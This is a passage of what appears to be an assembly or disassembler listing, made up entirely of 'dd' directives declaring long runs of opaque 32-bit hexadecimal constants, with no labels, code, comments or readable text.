0C989E963h, 58090FDFh, 6C31E484h dd 1F5F5803h, 61586E1Ah, 13FF3C41h, 0B4C8FD09h, 0B648A00Dh dd 0BBF6C080h, 0BD4325DCh, 0FC01E52Eh, 7600D091h, 0E33C6B60h dd 0BC009618h, 0E9DC213Dh, 0A3F4CAh, 9D3B2C8Eh, 684DF94Ch dd 842CC2Ah, 0D0C2D805h, 0BC2222C0h, 8AB72007h, 0CB0B7AAFh dd 841B77EBh, 0DB4043E0h, 6FCE49DDh, 2C8A7D00h, 0A993C55Ch dd 6C0C2590h, 0ACC84090h, 0C9378900h, 0FE736459h, 0BAAF0819h dd 96853DF1h, 0A802542Dh, 942A2B8Fh, 2C1EC80h, 0B04B6015h dd 52C0035Fh, 54A8E289h, 5A0040A4h, 9672394Ch, 1A34FB69h dd 2113BC43h, 482C64C1h, 0D491A3B8h, 6D7CA805h, 9B2AE840h dd 257FB7C5h, 58A39324h, 88C2CF17h, 0D128385Ah, 94F85CC4h dd 8714DF50h, 878CA858h, 3D91F18Fh, 75E08591h, 8295190h dd 0A05C24D8h, 58D8028h, 43D60214h, 0AF4C04B6h, 0A26CC466h dd 0C4D90134h, 41922607h, 0D032BBE7h, 7670B47h, 0CBABB6E8h dd 0F4006B42h, 189060C0h, 0A2FDBA00h, 6AB695B7h, 974D01C6h dd 4E1E8012h, 0F4F02019h, 40B88E56h, 0B70EBD6Ch, 49747085h dd 0B9D8A022h, 438EDDADh, 907D2129h, 0AEE050DBh, 0F243044h dd 0ECE52959h, 2C805449h, 0AF0C66C2h, 6D3F5142h, 4C203BAAh dd 3FC07416h, 255F7047h, 5A359B00h, 56DE7B7Fh, 0E627224Eh dd 0DA915700h, 89D393FAh, 348202FFh, 0B6A13C2Bh, 2713B051h dd 0E0DE3823h, 25D67CCh, 16A03279h, 88CB958Eh, 0C5F503EBh dd 329813A2h, 52047034h, 9CC6C149h, 43886977h, 81558B7h dd 38A30EC3h, 98613382h, 0F8011E5h, 0D284C72h, 6DC800A3h dd 7583C5DCh, 983CAAB0h, 8DA400DDh, 955DEFA8h, 0AC5C047Ch dd 0A41284B7h, 416B07BCh, 67CE0F79h, 6D605AB4h, 20EF9Dh dd 131DA8Fh, 0AE781D87h, 0D3CBF301h, 7FD8A451h, 8860C740h dd 0A5E10953h, 9069B144h, 4C632Bh, 1E081AACh, 3E37D1h dd 0E3EA5BD9h, 9473659h, 64445A24h, 0D113E711h, 5FE461B7h dd 6D08CC1Dh, 51666Fh, 815B2CAEh, 0DEB50507h, 5E5E01EFh dd 180AC208h, 8459F3B8h, 33A01D01h, 0E45414D6h, 6DC9FC30h dd 255900F8h, 0A191EF42h, 0E17EAB87h, 4D00AE98h, 0E7CB225Fh dd 9B3BAFFEh, 20D696F0h, 0C877B30Ch, 2E682307h, 1883FFF7h dd 0EB31A705h, 460064Ah, 6A8C99C3h, 11A1F96h, 0E3045565h dd 1CE82226h, 3DAC90DAh dd 8CCA013Ch, 18EAB4CDh, 0B0480821h, 3B7401CEh, 0E7BABD4Dh dd 75844086h, 0FE75A160h, 0A2002070h, 2F6E59CDh, 811BEDh dd 543F1590h, 61B5BA05h, 0E2F72900h, 7AF58EE8h, 4B99035Dh dd 0BEB77FADh, 0C9B007C9h, 2BC503Ah, 630075B8h, 84A42486h dd 72110406h, 15F90034h, 0AB579555h, 5E00B518h, 5BA35C74h dd 6797EBDh, 25C048A9h, 291F68F6h, 69C00B8Fh, 59604DAEh dd 2EB60077h, 132DAF08h, 7254A461h, 140CE7E4h, 2C25D8B5h dd 20B04B21h, 2DDD7FDCh, 7800117Bh, 0FBEE22D6h, 0EF7C097Bh dd 0F701A872h, 155DB7A4h, 7F4BF8Fh, 0FC59A17Fh, 5AB896C0h dd 682A4CEEh, 84363C50h, 0D5EB203h, 0D754BC8Bh, 8CD8D85h dd 29813AF1h, 230F2A41h, 0C2B6EC6Dh, 6C178807h, 0C8B17AF1h dd 18602E2Ch, 1E3B4045h, 0D0552602h, 41DC37A8h, 2C62D644h dd 986F3F00h, 0CD68BEFCh, 3772E9FCh, 3CD75D01h, 5B9B143h dd 84D1D464h, 66AB8F00h, 409F7C98h, 0D66F079Eh, 4FCD4C3Bh dd 5822EC0Bh, 0D233A6Eh, 22B90025h, 2D806F77h, 64002771h dd 6CC1048Fh, 4ADDCDFBh, 164C22EBh, 0A11725h, 48D3805Ch dd 4F24E008h, 66B7034Ch, 6A3D091h, 0CB6A2100h, 0C024AF41h dd 6DB601A4h, 0F920A28Dh, 0AE8D403Eh, 540BAB51h, 8F18BA22h dd 2DA700A1h, 9DE7F76h, 150EF527h, 0AD1A0000h, 6DF53E6Ah dd 0CC74005Ch, 67F0E4C5h, 40C025B5h, 317440Eh, 4606BA4Ch dd 4758F900h, 1F89EEA9h, 0A6E70095h, 6AFF53A7h, 6F16A193h dd 9841BD0Dh, 4259BF67h, 4EA33E8h, 600EC5B6h, 5F00C7F5h dd 0A58BD600h, 8D2D5D97h, 52389001h, 79F802DEh, 5676E38Fh dd 0EDD7D240h, 0A6AEAD00h, 3C2286ACh, 48B1E8ABh, 0EC00D04Eh dd 14157D7Eh, 0FE0001A0h, 0E363198Eh, 51BB2CDh, 241ED38Dh dd 4700C03Ch, 0FD5C433Dh, 0E8EC000Ch, 220F3EDAh, 1F8E1C7Fh dd 0BF6680A1h, 6DEFCE45h, 71B68401h, 0CF072AA7h, 901630h dd 0F5E4D96h, 92821242h, 8F5D4F02h, 0E2C8F683h, 4244C6D8h dd 7F3E90h, 4EEBFEBAh, 2454173Dh, 816CA6B9h, 0E942966Ah dd 35882031h, 6120E098h, 48184A28h, 9692724Ch, 0E3C7430h dd 952E00BFh, 0C77CD134h, 0A2061ABCh, 0B0447E23h, 7C9889h dd 0CB8DF3D0h, 452696A1h, 882CACF0h, 0D60C8419h, 3BCB2909h dd 268049EDh, 4C673D28h, 0F30021A3h, 127AAC1Eh, 0A1BE75h dd 0F82A8F49h, 0B5C08246h, 0AB246201h, 2220F9A9h, 215C2E0h dd 0E71AB260h, 6091F1h, 24968E40h, 0D430A816h, 1C78F761h dd 84C806A1h, 0D2270Ah, 0B0AD5C10h, 0EF67924h, 0A6424A7Eh dd 0D3AA050Ch, 7AC3A718h, 293A6728h, 3AB45E9Bh, 0DB91802h dd 0DB601AA6h, 0CE2EB630h, 0B3005788h, 0B7C7068Fh, 0BB7CB847h dd 41916Ch, 49762853h, 302C984h, 950A6A8Dh, 86C83EFBh dd 43509F7Dh, 744BBB0h, 41545B09h, 954E96B4h, 785DE1F3h dd 8A100D4h, 0BE5E05C0h, 881F507Fh, 0E9330057h, 4E951D8Ch dd 54B82808h, 60270D44h, 78C2D1EAh, 327D088Eh, 0F601A49Ah dd 0C0897621h, 0F7E0B05Fh, 1F981641h, 0ACE40F4Bh, 0C6E14063h dd 1528C4CDh, 29695808h, 950EC000h, 0F8B95A0Dh, 0B827C707h dd 80B3CB75h, 0FECE2403h, 859551Eh, 0C4ADC82Ch, 8B88CC34h dd 0B7E27B00h, 25C491Ch, 0D97594h, 9F9A0D33h, 66DBC3A8h dd 8EDDCA9h, 290971FCh, 4A42D6Dh, 818941B8h, 29AF72C0h dd 68078B98h, 7AC370A4h, 0C8B75C06h, 20282A1Bh, 0AFA8C162h dd 9224224Dh, 77F20D2h, 0A5F341C0h, 1A0DEBFh, 64876E5Eh dd 3DBB08B7h, 8E0DEACh, 0DF9B62DCh, 0CBF42004h, 808C00C5h dd 1C980090h, 855D796Dh, 68BE78D1h, 4938060Ch, 0E3B52EB4h dd 0DA430089h, 14DCEE49h, 1DFD2000h, 1E18FBEFh, 87E4AAFh dd 0FBE4A498h, 59196E40h, 9500C8F4h, 80076103h, 0F2AD75D5h dd 4D8E0704h, 19651BCh, 39B79B5Ah, 408D4A4h, 921D7CCFh dd 9537C0C0h, 0DB3E2EAFh, 9F17093Ch, 0B8B03450h, 0B7C0C49Ch dd 0F068DD6Fh, 6C4299Bh, 0F56D07C4h, 250CE1BAh, 0A0507C88h dd 60E8928Dh, 0A6326C09h, 0CB3C532Bh, 1AAF9266h, 0DEB04421h dd 1B2E5440h, 89DCB6B7h, 8848B644h, 86EA0618h, 96021A70h dd 436155AFh, 0B0F452A5h, 0A95078Ch, 0F0549063h, 0FB1118E5h dd 0CF4A30F9h, 4D0913E8h, 6906C2C5h, 44D09014h, 0E2911DAEh dd 7E7C2FCh, 9B400AF4h, 0A50159C6h, 0EC5F49D4h, 0F5411008h dd 0BC38C383h, 0FE379180h, 5B00187Fh, 0EC61632Bh, 5978F1Ch dd 433553D6h, 2780A4BAh, 9DF1D560h, 7D64E4Ah, 0B9F816BFh dd 33B140F9h, 0F8C0ADEBh, 27B61966h, 94B0A2h, 0A856F559h dd 0F98EA630h, 0DB7FAE0Ch, 795D05Ah, 71B7B682h, 81D6A097h dd 0C73E071Dh, 92D7071Eh, 8DC236CDh, 3C4817Fh, 9C74157Ch dd 0FE7092Fh, 0C84E2BAFh, 1F161144h, 0DF54A637h, 11A46497h dd 8D801FE7h, 80B9A849h, 5C87AF7Ch, 0AD40C656h, 157BC023h dd 882C38FBh, 9D310F5h, 69426908h, 3841B8D4h, 31BE5109h dd 59843324h, 0C1E03424h, 0AF0B660Ah, 5F1D3050h, 0E314916Dh dd 10A204h, 1300F65h, 5A51A3BBh, 0DA80223h, 9C710987h dd 0A8888F93h, 0A380C1ABh, 0CA86FF1Fh, 0D57D1CE0h, 8F437800h dd 1FA8D2Ch, 70B500E8h, 2256B858h, 371FF44Fh, 2EC94CAEh dd 0F7C00752h, 0CC6D36C1h, 49A438E4h, 0D082A4A8h, 0CC5637C1h dd 804BED44h, 0AB86F807h, 6CC09CE8h, 7EBCB113h, 96D3901Ch dd 88EB448Ch, 28A0B6D1h, 6045094Fh, 994F8E2h, 8CD8AD1Ah dd 1BB06480h, 39600DEBh, 4FFCAF31h, 40AF88Fh, 5BADCF85h dd 0E608222h, 0F0BD2421h, 2C80D47Ch, 0FF3F5A9Eh, 0AF07DE0Ah dd 0A50B0854h, 4BAC100Eh, 550A00BFh, 1A2A3C6h, 0B800EFC5h dd 0B3D021D7h, 16792959h, 2CBB43CEh, 160BB184h, 0E57494EFh dd 0F0132D74h, 463750A7h, 961F16B7h, 43426124h, 0EC7E3FACh dd 560927C0h, 0C03F109Eh, 28DFB1CAh, 818BD427h, 16005C02h dd 0B086201h, 28350D05h, 0D4F445C6h, 0B78D1C4Dh, 323F96D0h dd 2911D538h, 0CC9DE610h, 0B0488F04h, 98B01E62h, 0AAF8C4DFh dd 0FE10DCE9h, 0CD86E400h, 677AEA52h, 2917175Bh, 82A40838h dd 0B89118A8h, 29D99860h, 6D3D0142h, 340BC4EFh, 2D546CDDh dd 70A4085Bh, 0C55E1180h, 84A479h, 38F4156h, 4D5A86F9h dd 0E9E89614h, 2C5902A8h, 0ABDAA343h, 0F74801C0h, 9C472969h dd 5C746A79h, 96144004h, 0DD0037AAh, 5E18BC1Bh, 0E844326Dh dd 1D9A7FA2h, 1830A009h, 904E115Fh, 0DEF78106h, 74189B92h dd 5E78866Ah, 71C0582h, 9218C8h, 19E179A8h, 0D0B19635h dd 119BD651h, 62604EECh, 0CB82674h, 38B27912h, 17511A88h dd 924EBAE4h, 7334A21Ch, 5CC70078h, 7582AD7Bh, 4FDFA12h dd 0E7BAECC2h, 59689820h, 0DCBCA9D0h, 862C9544h, 98B2C200h dd 61B458F0h, 2CFA02ADh, 0FCBDCBBBh, 6C40ECC4h, 54553009h dd 0F7AE4339h, 0FC1118B9h, 94505F00h, 536DD1ACh, 3FCFB31Fh dd 6CAE4107h, 39D5C29Fh, 10886D93h, 0EBBC1395h, 8924A805h dd 9804C4B4h, 90A440Ch, 2C606951h, 66E180ECh, 0DDB59Ah dd 7CBF97F7h, 0CFADAF7Ah, 0C30CDA58h, 83C03BF6h, 0B7DC889Ah dd 0FC65F1C3h, 0A21405D9h, 0A8BC0010h, 0FEA20B93h, 4AD775Bh dd 0F9CCCF01h, 6AC70Dh, 23904F33h, 0CD66719h, 0FEF9EB41h dd 39A989ECh, 12F678BBh, 0DC954ED3h, 2A454FC0h, 1C32B2D5h dd 88FAB030h, 0DB3CD08Fh dd 0C1540068h, 2CC7EF1Eh, 690266Ah, 0ED93006Dh, 45BF8635h dd 29540B00h, 0EED1B5D3h, 0E7D400EFh, 0AAB158Eh, 0B600A849h dd 0F6AC4F79h, 7F53F92h, 4A9871B5h, 2F1041C9h, 0A25AFC90h dd 0D3461113h, 7B3D8C8h, 0F1FFFE7Eh, 1FE160D8h, 0E5008176h dd 0AB4EAE95h, 0A99C573h, 590C1DC6h, 26F44208h, 0CC00AC64h dd 0A4700E3Eh, 0A15E0178h, 1868670Ch, 0D67F2F77h, 6D0F84A0h dd 5000B2CFh, 946B7895h, 0C0148Bh, 3B1EAD3Fh, 0B80D5CC5h dd 52543712h, 332B0D8h, 0BE57B019h, 95A93648h, 0F5CED41Eh dd 0E8C708D6h, 800B40AAh, 8670201Fh, 485E2EB6h, 0E794D4F5h dd 0B67EB17h, 485CE30h, 2628D2E5h, 0D400C4DAh, 89345648h dd 7DB89Ch, 68E02B76h, 0F88711E5h, 4AD45548h, 16C9A08Bh dd 6973B814h, 0C0420D88h, 68C44F99h, 0B9264080h, 55074584h dd 2580744Ch, 175B5FC6h, 8B5A5463h, 52837FB8h, 0D630B449h dd 0AFF02F11h, 2BBF770Fh, 9504367h, 0E0390452h, 0ADB088DCh dd 0CB8DE0C4h, 45B0B64Ah, 0A07080F2h, 0F01F7660h, 7B471986h dd 82091A8Ch, 24E01320h, 0EE6841E8h, 54F8B8B6h, 6A51093Dh dd 9804AF77h, 8250F828h, 5936D86Ch, 661F001Ch, 0D02B07F7h dd 925DC13h, 1E0068E2h, 435F16AFh, 0DF4FB9B0h, 0E4AC5449h dd 278742A0h, 0C0AC92D1h, 0E3BF0E38h, 7B67EECh, 25FA7970h dd 0BCA31F8Fh, 35E84BF4h, 40ED9078h, 77D8B508h, 98CC29D7h dd 3D2004Eh, 1618276h, 1D02E2C6h, 4D1592FAh, 5AF84037h dd 2787E27Eh, 0EC6018A7h, 0D3F42CE6h, 378E2618h, 79861748h dd 225F3DABh, 0B63B00F2h, 788A0D63h, 0CF0CFEACh, 20BD5D32h dd 0C0E779C5h, 331E9440h, 658406Ch, 0A0528064h, 1CC6CD0Ch dd 4530454Bh, 36B12657h, 8C8888ACh, 7E4E1EEFh, 0DEE088h dd 969566D5h, 9DE8C3D1h, 3D0B0300h, 0F82D9A6Fh, 0F09028C2h dd 0A1BE03E2h, 0F5EC330h, 91C4FFCDh, 68F76CF0h, 20B411EFh dd 0AF032E14h, 446469A0h, 4AC25D07h, 0A7D7F4EAh, 7D1C2AC0h dd 0DFD80ED5h, 0BBDD198h, 7846B153h, 0D35B2414h, 82B4ECh dd 0D1720DFh, 0E49A1CE3h, 0EDFE34B0h, 95032B1Dh, 14308A53h dd 2D745FB7h, 0B494EC7Eh, 219D097Eh, 0B9FE96C8h, 0B0B0F6E0h dd 87D2817Bh, 98087860h, 80C012ECh, 0AF1CE428h, 3FD52E02h dd 0FA4E519Fh, 7C8858ACh, 0D069B6CBh, 7C0080Ah, 814A7E56h dd 0B87880AAh, 0A4A0EFDEh, 0CC0939B7h, 791A7F9Ah, 7BA30084h dd 89060A9Eh, 0B0DCD300h, 0E9599B24h, 4E3C0B2Ch, 0C46441C2h dd 90C36024h, 9628C23Eh, 0D1B0F48h, 8C970FAEh, 230ECD84h dd 0C0514058h, 0E1D454E7h, 3BB2FEFFh, 8F80DBBCh, 17978D1Eh dd 577C0D5Fh, 5D7CA477h, 0EF902713h, 0E70028E2h, 0DE57DDEDh dd 0F3004628h, 0ACCBCCFDh, 257612F8h, 9466BA01h, 9DCBE4Ch dd 71CC056Ch, 8F2441E4h, 8BE04CE6h, 0F089DD00h, 7C7E477Dh dd 355603FEh, 5EE34B3Bh, 0A4D69800h, 1A26AE77h, 0D450302Bh dd 1B5F5518h, 48B6871Ch, 0DADCF580h, 330231Eh, 0C4B52021h dd 0EEF2E142h, 0E110E375h, 1880EDC2h, 182872F7h, 932416EFh dd 443C144Fh, 6171AFh, 57FF9541h, 0C16FA291h, 5E64C64Ch dd 0D370A003h, 2404AF72h, 88D7A0BCh, 0DA00F894h, 0B9A333F4h dd 71F773A2h, 5579244Eh, 8C41CB84h, 7228F95Fh, 8E4A01D4h dd 0BE6D5EFh, 7E944E60h, 477F1356h, 0AEFE0219h, 0A8F83CB7h dd 0A46D7602h, 0D162B096h, 0BB43027Ch, 0B47C1898h, 3F178847h dd 7E3814C0h, 8284B1Fh, 6A804120h, 0BD433CD8h, 39F26345h dd 8F90A35Ch, 0E78F928h, 0F3B83Fh, 0DF9850FEh, 0B53820h dd 0CFE2B97Ch, 2A188F9Ah, 93366B1Ch, 98B8D589h, 0B6AFB0h dd 9C1C2B67h, 0A10FA9BDh, 0E9012001h, 225EB0A3h, 0C0A8242Fh dd 8ED37D7Ch, 0E1041E00h, 0D6B5E4CDh, 0EAA350D1h, 311678E7h dd 8F119B6Eh, 96144006h, 1E5B8CD3h, 44EA6C08h, 25B74825h dd 0A709A444h, 1E72E69h, 0F41A1371h, 334A3C4h, 5ABF3D2Ah dd 0E9B86F64h, 390E6AB6h, 4CB2215Fh, 6F51022h, 13B90E67h dd 1A1259CCh, 8CD0D6E0h, 0F6A1E41Dh, 8EAF0CAAh, 0B618C88Dh dd 67E30C5h, 0A78C7980h, 31B7834h, 94DFBA9h, 0E2CCAF9Eh dd 0AA5B03C4h, 0A8553AA3h, 418A0CCh, 0B20DFB15h, 1060B844h dd 3EC8EF94h, 0C4464180h, 4FD49EDBh, 0BDCC01B6h, 0E80597F0h dd 2D00B19Ch, 0A0E147C7h, 25B918DEh, 8464A615h, 0F4738B01h dd 6A44F96Bh, 650C4B6Eh, 133ED059h, 8C0994AEh, 54F96Bh dd 3ED0590Ch, 5E00F23Ah, 0EAF8241Bh, 2517B64Ch, 8307254h dd 7F4DD61Eh, 68091660h, 821180B3h, 0BC864FBBh, 43374420h dd 0B816AC00h, 80E7A68Ch, 0C0949891h, 6FF6E9E0h, 4E9831A1h dd 0D8092A3Dh, 19EA3270h, 0ED06266h, 16899F34h, 4450A9F7h dd 965344A4h, 4012D73Ah, 44930007h, 0A5A64FC0h, 0B9045A7Fh dd 0B62E5FA3h, 198088E8h, 0DACF342Fh, 7CBDAE00h, 94A34C15h dd 2E5E0029h, 0CEDDF492h, 995F518h, 0A4D124h, 16C93E81h dd 702CE72h, 0DB489CAAh, 0F40D60D2h, 0F0410015h, 535FE59Bh dd 1000D7F6h, 297F33B4h, 183EE01h, 5D9616F8h, 33D1A058h dd 38110144h, 876C5F1Ah, 7F3D940h, 0AAB00516h, 0C06AE17Eh dd 0D20E0690h, 684E9C14h, 35084190h, 80382860h, 848ADF1Ch dd 485B074Fh, 7145CBAAh, 3DA786C3h, 2CE705C8h, 0A8243BAFh dd 5B83D8F8h, 0B0B09415h, 4B0093E8h, 264928E7h, 5F6A6668h dd 30343481h, 8729418Ch, 960F1F00h, 0CF2A0182h, 9890B8h dd 971133BDh, 6CE2B174h, 91B7D07Bh, 1C208EBCh, 0D870901h dd 64C471B5h, 260B2D40h, 0EC092CCh, 0C08A1E54h, 3811E4h dd 9CB56497h, 4840293Fh, 884AA075h, 0E6B0FE80h, 0C4160B01h dd 0D3C0E688h, 4D2D9C0h, 7BDA948Ch, 0C038EC14h, 0F76FE280h dd 8ED51435h, 93140829h, 2A1CC9D3h, 0F1CBC0B6h, 5C6215EDh dd 28CA700h, 8107695h, 56662D91h, 73012C64h, 59D9A963h dd 2C3BA0A3h, 0DB47C500h, 26D3861Dh, 997D6050h, 2B04B775h dd 0B22D3489h, 0EE1548C1h, 0AC2E0880h, 0BA5D28CBh, 267F893Ah dd 4F16F7F3h, 0EC5E1888h, 0BF350095h, 13CC41DFh, 285A5DA3h dd 0E0B14440h, 7598F8Dh, 412A7774h, 0D458C03Ch, 1097D31Ch dd 21BCBCh, 9EC4B396h, 6D66CE1Dh, 7F0DCA00h, 0C3AF075Eh dd 5C2408F7h, 800235E2h, 0C016B88Dh, 1876Ch, 4D939566h dd 0F38AAD0h, 5438A297h, 68506018h, 70968944h, 5F88DFE0h dd 75BE0104h, 0E4519D45h, 79C602Dh, 600921C6h, 32E00C71h dd 66604E93h, 2671140h, 9A33C2FBh, 3636C09h, 6B4F610Dh dd 243B48D6h, 0FCE818h, 0AC447FB0h, 388D7E1Ch, 430CEA92h dd 2771C8BAh, 0A7803C94h, 0C4386482h, 84B85Ah, 0E7CC8BEAh dd 20EF0518h, 3883658h, 97BC8914h, 2EC0880Fh, 871A01B7h dd 0F75F41A0h, 75606029h, 19F0D57Bh, 33236E24h, 0DF7A0Bh dd 0F4E82464h, 4CD5027Dh, 54AFEF01h, 0BE873240h, 0F720319h dd 1D112ED8h, 855C60B8h, 0AEE5C49Ch, 6904ECE2h, 0FCC49B42h dd 58348030h, 0FACE6Fh, 9FDB652Ch, 707FA859h, 4DC9895h dd 9C540E8Eh, 99401F57h, 0B77F66ABh, 0C8C3D024h, 98F4F40h dd 0CB411C0Eh, 438B47B6h, 0A55D847Eh, 4C20FE78h, 1804C0h dd 801D1485h, 5E1E2A6Fh, 66A51201h, 0DFBC2C76h, 3764213Bh dd 6C4460A4h, 2C5611F7h, 1D167463h, 0C6A0007Fh, 4A068087h dd 6E91A500h, 891BE827h dd 0E72D0490h, 0C0F67C83h, 0ACE28584h, 8FDB2C00h, 0DE68F879h dd 870701E8h, 9124902Eh, 167C2DE1h, 0C0F747C2h, 65E19607h dd 0AB02EEA8h, 0A26042ACh, 2000D247h, 15C823E8h, 0C2C4D622h dd 2D8718B1h, 6098F929h, 3DEF0F8Fh, 8CD92E00h, 0C4FF1EAEh dd 617124Eh, 3D7CE765h, 0EE2500ECh, 0BA51DD58h, 7BF30020h dd 27462F0Eh, 0AD36D8C7h, 9831E82Dh, 0CA1E4ED0h, 41C050E4h dd 0C8FCBC2Eh, 6BD6085h, 300000BDh, 6304BBEFh, 8E07367Ah dd 67A855E5h, 447D1190h, 0BE1E0943h, 9446C154h, 0D4123CA1h dd 0DAFCDE89h, 76AA7E03h, 5516B0Ah, 0FFBD4359h, 6CE6DFh dd 19B03453h, 2555B56h, 6E0832E1h, 40765A88h, 703E1E92h dd 0CCC2D017h, 866DACh, 0A01D5E01h, 2757B81Ch, 0B7725901h dd 0FB8E7F4Dh, 80DC606Bh, 3CBEBC44h, 0FC097C62h, 0FC102778h dd 71011F91h, 214F5466h, 0E447195Dh, 0F144B200h, 0CEE82Fh dd 8A169B92h, 89B85D90h, 10125A00h, 0A707217h, 7831496Ch dd 0F3B94313h, 2C2228h, 0EA5C35D3h, 96A89586h, 67309A66h dd 2A8805F0h, 40B6D8AEh, 71631B18h, 8000ECA3h, 0AFD94EC0h dd 5C863F2Eh, 5800059Fh, 0F6B74F97h, 20014CEh, 0CF26AFF5h dd 4205EB6h, 906EFBFh, 0A0A4EC5Fh, 0EE9F7C95h, 0BAE50BADh dd 7C81EED1h, 0C0C590F2h, 1C02AF32h, 1DBB448Fh, 0FDF4A4ECh dd 9356D240h, 9003AE5h, 0F13ED943h, 1F8B71D1h, 444AFCB5h dd 0C227934Fh, 84A7EBE4h, 0C1F4B466h, 0DEACD8h, 12DA44B0h dd 31C6D895h, 0EC19088Ch, 0F600B1AFh, 9A986A32h, 149FB2Ch dd 855AD7EBh, 4C95D54Ch, 0F8E65CDCh, 8F65F03h, 2C5693DAh dd 42502778h, 6FC35909h, 0B3D1B9C8h, 737ED70Ah, 4911D878h dd 788884Eh, 0BF222400h, 48ABFB42h, 0BC160588h, 8CB257B3h dd 43882D44h, 0DCF64BAFh, 58000818h, 8DFCA45Ch, 7471A0h dd 9BF6C88Eh, 7AFD3BA7h, 51541A0Eh, 5C2502C3h, 0E068D40Dh dd 977BAD6Eh, 0BB04AB00h, 85BD9B78h, 20845E02h, 7B9C9A10h dd 0D4C34400h, 6EE77649h, 5AEE8EAh, 0E43BC5F5h, 0FDB8040Ch dd 0C4E252ECh, 4EF4DD04h, 1BCF2AEh, 0F3D0D917h, 4457B989h dd 2401E70h, 25F2005Ah, 20307B5Fh, 59EE08B5h, 4E7D0414h dd 0D4641E8Ch, 98696B8Bh, 70116100h, 885D4E95h, 0B4B0273Ch dd 0FD0842E9h, 7FB79440h, 5CC66A01h, 0BD34B016h, 0F4178C8h dd 4AD8B60Ch, 0E006C01Ch, 388F903Ch, 8D099C9Eh, 0B4448A15h dd 0A826EC68h, 1E89E0BFh, 41C1FEh, 0A6552A7Bh, 2EC35EAEh dd 941548h, 84BCA031h, 9106EE66h, 93CA8070h, 38C1D04Bh dd 840762F8h, 0E91BA7D8h, 8DCF1ED0h, 0AED63158h, 2C5409C9h dd 6AB683A8h, 0CCFCE456h, 5323AA11h, 9B060058h, 88200DCEh dd 82A20681h, 3085BA95h, 2EC222h, 963C1A67h, 0B67F4CB8h dd 4FDF7D0Fh, 7EAF25C4h, 0C9B0E081h, 0ECC322Bh, 7D27022Fh dd 400C564Fh, 1A98EA55h, 0EE66E39h, 2B62ADE5h, 65988085h dd 950D2CB0h, 0CF83A4A1h, 0FBBFC0B8h, 908D4C00h, 0D75D576Ah dd 5EE76D3h, 0A410A834h, 1718BD2Eh, 0E0345509h, 44A4CC84h dd 0D2E8015Fh, 2E2CBAD8h, 24A3126h, 8470B808h, 36A4C44h dd 6C6E509Ch, 58B90A4h, 7B0B65B8h, 253B2E00h, 0D5143D18h dd 0A25A16B6h, 44E4E062h, 64D0A44Bh, 1FA3FF8Fh, 0C5A8A03Ch dd 0C1A5CB6Ah, 0A5541728h, 880E5A8h, 0BC40E95Fh, 2E92CBF3h dd 115CCAD3h, 42B60E33h, 0C2C585A4h, 8075C409h, 0B1FDDC72h dd 4E270254h, 98094293h, 0D300DC56h, 0ADF489AFh, 78557C17h dd 32714Fh, 69C15A0Dh, 0EC5EC825h, 0EF150E00h, 0A1209710h dd 3BFB0028h, 0C97429CBh, 241648E0h, 6030D594h, 13895214h dd 0BC574B6h, 0E8D018DFh, 5D537F16h, 0A50F3808h, 3D21A018h dd 6403A501h, 5CFD82C3h, 0A2CEB480h, 0C13BFED2h, 0DEEB1212h dd 0E753D4E0h, 0B0419612h, 218631Eh, 789F38CBh, 48106039h dd 0BE920042h, 5268069Ah, 74256795h, 7140E47Fh, 0D9A7007Dh dd 0EADF65AAh, 0BE00F725h, 8C633A9h, 77C0FAC1h, 0DB4E0071h dd 117792EBh, 9B016AEDh, 45F4B93Ch, 0FDEC1997h, 0B5390220h dd 42DFC2DDh, 2309F480h, 0EF4CA39Ch, 0A8DA2875h, 28043B04h dd 44049636h, 276CE4A2h, 90809496h, 0DB7C918Eh, 8DE73770h dd 0F0EC606Eh, 0A712C89Fh, 6C30B4DCh, 4C185FB0h, 32254964h dd 71BAE890h, 0CAA39D01h, 10B6F152h, 8C729C71h, 0A9AAA07Bh dd 884C00D0h, 562A05A2h, 662A23FBh, 7F0024E1h, 7641457Dh dd 1254E3EAh, 37CAC9h, 0A685C704h, 84128068h, 0E805E79Ah dd 54F86E66h, 0E88E6AC4h, 910EE8A8h, 0D6560074h, 550C0D37h dd 3140389Eh, 1E7838AEh, 0DF01BB25h, 3DC9C133h, 5B4668Eh dd 981918A0h, 0BB812258h, 1D02A947h, 3302D4D6h, 2B6A08C0h dd 9FA44388h, 0F16C2810h, 3D98EC26h, 4A4C412Fh, 0CBC4CC14h dd 1FB1BA0Fh, 5C0342A6h, 0EDCC40DFh, 6A930707h, 11E9C74Bh dd 2C3FD41Dh, 0BC1F24F8h, 7ECC6E01h, 146B2F8Fh, 0DE22A408h dd 2EA01702h, 0D43C6809h, 400644F0h, 0F3DE24BEh, 976902D8h dd 0C0D06329h, 194080FCh, 928E655Ah, 0D0D74EF4h, 55D0ED74h dd 0D98C1001h, 54B214DDh, 5ED00271h, 0F96E0115h, 0ECA347Eh dd 81E87DD2h, 1A37851Fh, 4976D8h, 2398C068h, 1C7E8A70h dd 91FA6B0Eh, 3787E216h, 19F040AFh, 1140B659h, 0E42C0024h dd 84F3E397h, 69060060h, 0A7D6778Eh, 0DE18DCF5h, 0AA80B751h dd 20EF410Eh, 1A0CF01Ch, 0D87FAE33h, 2535207Ah, 0AB74311h dd 0D8C4B027h, 527D000h, 1A4659EBh, 87B60198h, 25D5A6DFh dd 435050AFh, 42FBF7A3h, 3204420h, 24F21BEBh, 259FBDh dd 0C8994BC2h, 0A499CBD0h, 3EC4E425h, 0BA80FE89h, 0B46ABCACh dd 0F8C08090h, 2EAA331Bh, 5EC9C0CBh, 87DAAEFFh, 0AED7772Fh dd 4682A0C4h, 1F4349B8h, 405BECC6h, 148FFBF3h, 0AE70F5F4h dd 0A2EB916h, 109408E0h, 5EF8ED42h, 0A700C8h, 0BAA3EA32h dd 0A2C2A6DBh, 63AEC30Bh, 0F0149B3Dh, 71A77BD2h, 0EE34004Ah dd 219CB878h, 0D37E8E0Dh, 81D48B3Fh, 6A6D6E0Ah, 88F45E25h dd 663703F4h, 995226AEh, 1DC6E01Eh, 0D084E14h, 2987F55Eh dd 3C80D03Ch, 1AC29CC6h, 0ABA02D00h, 4C498596h, 692C1E13h dd 18BA9767h, 4F9BD0AAh, 49D9090h, 0D0407858h, 0A8497F2Bh dd 17EA6E13h, 122A6007h, 6AA22CC0h, 84863C55h, 189A532Eh dd 49981808h, 0C20D6C2Ch, 78AF4B06h, 80E7FC60h, 9C00A2C1h dd 583D6428h, 0F217C45h, 6F03B45Fh, 3C65ED60h, 1972740h dd 6C9AA690h, 373A4084h, 0B2AA02E0h, 5293012Bh, 4F199E81h dd 29069641h, 0A89FBD60h, 8B010FDh, 3A715892h, 